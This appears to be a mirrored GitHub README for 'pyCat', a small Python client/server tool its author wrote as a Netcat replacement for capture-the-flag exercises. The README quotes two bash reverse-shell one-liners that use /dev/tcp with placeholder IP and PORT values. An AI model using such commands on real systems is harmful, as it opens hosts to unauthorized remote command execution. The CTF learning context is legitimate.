Thanks to visit codestin.com
Credit goes to github.com

Skip to content

daniellowrie/pyCat

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

27 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

pyCat

Simple python-based client/server for interacting with remote systems. No installation necessary. Just drop and run.

Why pyCat?

Many times in my CTF adventures, I would find Netcat installed, but the '-e' option wouldn't be available.

Yes, I know there are other ways to get reverse-shell when you have command-injection on a system, but I really like the ease of Netcat.

Plus sometimes the shells I get using...

bash -i >& /dev/tcp/IP/PORT 0>&1

or

/bin/bash -c '/bin/bash>/dev/null/IP/PORT 2>&1 0>&1'

...can be inconsistent or unpredictable in the way they act from time to time.

So, I found myself wanting to have a stand-alone executable of Netcat for Linux systems, but didn't find one after searching for a SOLID 10 minutes. It also had the added benefit of being a good way to learn more Python.

WARNING!

You will be opening up a system to remote command execution if you run this!

Thanks to Justin for helping me debug the socket connection.

About

Simple python based client/server for interacting with remote systems

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages